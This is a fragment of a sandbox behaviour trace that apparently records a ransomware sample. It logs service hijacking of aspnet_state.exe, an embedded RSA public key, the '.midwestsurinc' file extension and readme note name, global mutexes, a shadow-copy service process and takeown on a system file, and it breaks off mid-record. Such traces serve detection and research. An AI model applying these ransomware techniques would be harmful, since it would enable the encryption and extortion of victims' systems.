BaseAddress=0x119d300) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c2c8) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2f0) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2e0) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d670) returned 1 [0251.060] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x992850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0251.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x992850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0251.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x992850, cbMultiByte=14, lpWideCharStr=0x119e0d0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0251.061] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x992850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0251.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x992850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0251.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x992850, cbMultiByte=10, lpWideCharStr=0x119e158, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0251.061] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x992850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0251.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x992850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0251.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x992850, cbMultiByte=15, lpWideCharStr=0x119e1e0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0251.061] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x992850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0251.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x992850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0251.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x992850, cbMultiByte=56, lpWideCharStr=0x119e268, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0251.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x995058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0251.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x995058, cbMultiByte=14, lpWideCharStr=0x119e2f0, cchWideChar=14 | out: lpWideCharStr=".midwestsurinc") returned 14 [0251.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x995058, cbMultiByte=21, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0251.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x995058, cbMultiByte=21, lpWideCharStr=0x119e378, cchWideChar=21 | out: lpWideCharStr=".midwestsurinc_readme") returned 21 [0251.062] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0 [0251.062] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0251.062] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x997e80, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x997e80, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0251.062] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x997e80, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0251.066] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x280) returned 0x9980c8 [0251.066] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x997e80, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x9980c8, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x9980c8, pcbStructInfo=0x18fd24) returned 1 [0251.066] CryptImportPublicKeyInfo (in: hCryptProv=0x592218, dwCertEncodingType=0x10001, pInfo=0x9980c8*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x9980f8*, PublicKey.cbData=0x20e, PublicKey.pbData=0x998100*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x596318) returned 1 [0251.067] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x9980c8) returned 1 [0251.067] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x997e80) returned 1 [0251.067] ReleaseMutex (hMutex=0xc4) returned 1 [0251.067] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x995058) returned 1 [0251.067] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x995058 [0251.068] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c988 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c988) returned 1 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x995058) returned 1 [0251.068] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x995058 [0251.068] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c988 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c988) returned 1 [0251.068] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c988 [0251.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c988, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0251.068] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e2f0 [0251.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c988, cbMultiByte=9, lpWideCharStr=0x119e2f0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0251.068] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e378 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e2f0) returned 1 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e378) returned 1 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c988) returned 1 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x995058) returned 1 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x992850) returned 1 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2e0) returned 1 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c2c8) returned 1 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2f0) returned 1 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d300) returned 1 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d310) returned 1 [0251.068] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d670) returned 1 [0251.068] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0251.068] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) Thread: id = 1006 os_tid = 0x258 Thread: id = 1007 os_tid = 0x798 Thread: id = 1008 os_tid = 0x7a4 Thread: id = 1009 os_tid = 0x1b4 [0251.128] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x40ce51) returned 0x5981e8 [0251.128] SetServiceStatus (hServiceStatus=0x5981e8, lpServiceStatus=0x166ff4c*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0251.165] GetCommandLineW () returned="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe" [0251.165] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe", pNumArgs=0x166ff38 | out: pNumArgs=0x166ff38) returned 0x59b690*="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe" [0251.165] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d670 [0251.165] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d310 [0251.165] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x100) returned 0x997e80 [0251.165] LocalFree (hMem=0x59b690) returned 0x0 [0251.165] Wow64DisableWow64FsRedirection (in: OldValue=0x166ff34 | out: OldValue=0x166ff34*=0x0) returned 1 [0251.165] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x800) returned 0x997f88 [0251.165] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x997f88, nSize=0x200 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\aspnet_state.exe")) returned 0x40 [0251.165] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e378 [0251.165] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e2f0 [0251.165] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e378) returned 1 [0251.165] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e2f0) returned 1 [0251.165] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x5c) returned 0x119df20 [0251.165] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e2f0 [0251.165] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e378 [0251.165] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e400 [0251.165] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e488 [0251.165] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e510 [0251.165] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e598 [0251.165] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e620 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e6a8 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e730 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e7b8 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e840 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x100) returned 0x998790 [0251.166] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x998790, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0251.166] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x998790) returned 1 [0251.166] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0251.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x119c310, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0251.166] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.166] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c2c8 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c988 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c9d0 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119ca18 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x5000) returned 0x992850 [0251.166] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119ca60 [0251.166] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ca60) returned 1 [0251.166] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0251.184] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x992850) returned 1 [0251.184] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x58cfd0, lpbSaclPresent=0x166fd68, pSacl=0x166fdbc, lpbSaclDefaulted=0x166fd68 | out: lpbSaclPresent=0x166fd68, pSacl=0x166fdbc, lpbSaclDefaulted=0x166fd68) returned 1 [0251.184] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119ca60 [0251.184] CreateEventA (lpEventAttributes=0x166fdb0, bManualReset=1, bInitialState=0, lpName="") returned 0x134 [0251.185] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ca60) returned 1 [0251.185] GetLastError () returned 0x0 [0251.185] LocalFree (hMem=0x58cfd0) returned 0x0 [0251.185] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119ca60 [0251.185] CryptAcquireContextW (in: phProv=0x166fda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x166fda0*=0x59b690) returned 1 [0251.185] CryptCreateHash (in: hProv=0x59b690, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x166fda0 | out: phHash=0x166fda0) returned 1 [0251.185] CryptHashData (hHash=0x593990, pbData=0x119c2c8, dwDataLen=0xb, dwFlags=0x0) returned 1 [0251.186] CryptGetHashParam (in: hHash=0x593990, dwParam=0x4, pbData=0x166fda4, pdwDataLen=0x166fdb0, dwFlags=0x0 | out: pbData=0x166fda4, pdwDataLen=0x166fdb0) returned 1 [0251.186] CryptGetHashParam (in: hHash=0x593990, dwParam=0x2, pbData=0x119ca60, pdwDataLen=0x166fda4, dwFlags=0x0 | out: pbData=0x119ca60, pdwDataLen=0x166fda4) returned 1 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119caa8 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x184) returned 0x998790 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119caf0 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119cb38 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119cb80 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119cbc8 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119cc10 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119cc58 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998938 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998980 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x9989c8 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998a10 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998a58 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998aa0 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998ae8 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998b30 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998b78 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998bc0 [0251.186] CryptDestroyHash (hHash=0x593990) returned 1 [0251.186] CryptReleaseContext (hProv=0x59b690, dwFlags=0x0) returned 1 [0251.186] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ca60) returned 1 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119ca60 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998c08 [0251.186] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ca60) returned 1 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119ca60 [0251.186] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ca60) returned 1 [0251.186] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x998c08) returned 1 [0251.186] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119caa8) returned 1 [0251.186] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119caa8 [0251.187] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x138 [0251.187] GetLastError () returned 0x0 [0251.187] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119ca60 [0251.187] CryptAcquireContextW (in: phProv=0x166fda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x166fda0*=0x59b690) returned 1 [0251.187] CryptCreateHash (in: hProv=0x59b690, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x166fda0 | out: phHash=0x166fda0) returned 1 [0251.187] CryptHashData (hHash=0x593990, pbData=0x119c2c8, dwDataLen=0xb, dwFlags=0x0) returned 1 [0251.187] CryptGetHashParam (in: hHash=0x593990, dwParam=0x4, pbData=0x166fda4, pdwDataLen=0x166fdb0, dwFlags=0x0 | out: pbData=0x166fda4, pdwDataLen=0x166fdb0) returned 1 [0251.187] CryptGetHashParam (in: hHash=0x593990, dwParam=0x2, pbData=0x119ca60, pdwDataLen=0x166fda4, dwFlags=0x0 | out: pbData=0x119ca60, pdwDataLen=0x166fda4) returned 1 [0251.187] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998c08 [0251.188] CryptDestroyHash (hHash=0x593990) returned 1 [0251.188] CryptReleaseContext (hProv=0x59b690, dwFlags=0x0) returned 1 [0251.188] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ca60) returned 1 [0251.188] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119ca60 [0251.188] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998c50 [0251.188] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ca60) returned 1 [0251.188] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119ca60 [0251.188] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ca60) returned 1 [0251.188] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x998c50) returned 1 [0251.188] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x998c08) returned 1 [0251.188] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998c08 [0251.188] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998c50 [0251.188] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0251.188] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x998c50) returned 1 [0251.188] GetLastError () returned 0x5 [0251.188] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998c50 [0251.188] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0251.188] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x998c50) returned 1 [0251.188] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x998c50 [0251.188] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x13c [0251.188] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x998c50) returned 1 [0251.189] SetEvent (hEvent=0x138) returned 1 [0251.189] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0xffffffff) Process: id = "84" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x6bfdd000" os_pid = "0x444" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0002de9e" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 1010 os_tid = 0x13c Thread: id = 1011 os_tid = 0x498 Thread: id = 1012 os_tid = 0x35c Thread: id = 1013 os_tid = 0x638 [0252.198] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfbdc00 | out: lpSystemTimeAsFileTime=0xfbdc00*(dwLowDateTime=0xaafe89f0, dwHighDateTime=0x1d5dff7)) [0252.198] GetCurrentProcessId () returned 0x444 [0252.198] GetCurrentThreadId () returned 0x638 [0252.198] GetTickCount () returned 0x1140ed0 [0252.198] QueryPerformanceCounter (in: lpPerformanceCount=0xfbdc08 | out: lpPerformanceCount=0xfbdc08*=16138064464) returned 1 [0252.199] malloc (_Size=0x100) returned 0x348e80 Thread: id = 1015 os_tid = 0x300 Thread: id = 1019 os_tid = 0x4ec Thread: id = 1020 os_tid = 0x4c8 Thread: id = 1023 os_tid = 0x324 Process: id = "85" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x6b7d1000" os_pid = "0x32c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "80" os_parent_pid = "0x6cc" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\System32\\snmptrap.exe" cur_dir = "C:\\Windows\\system32\\" os_username = 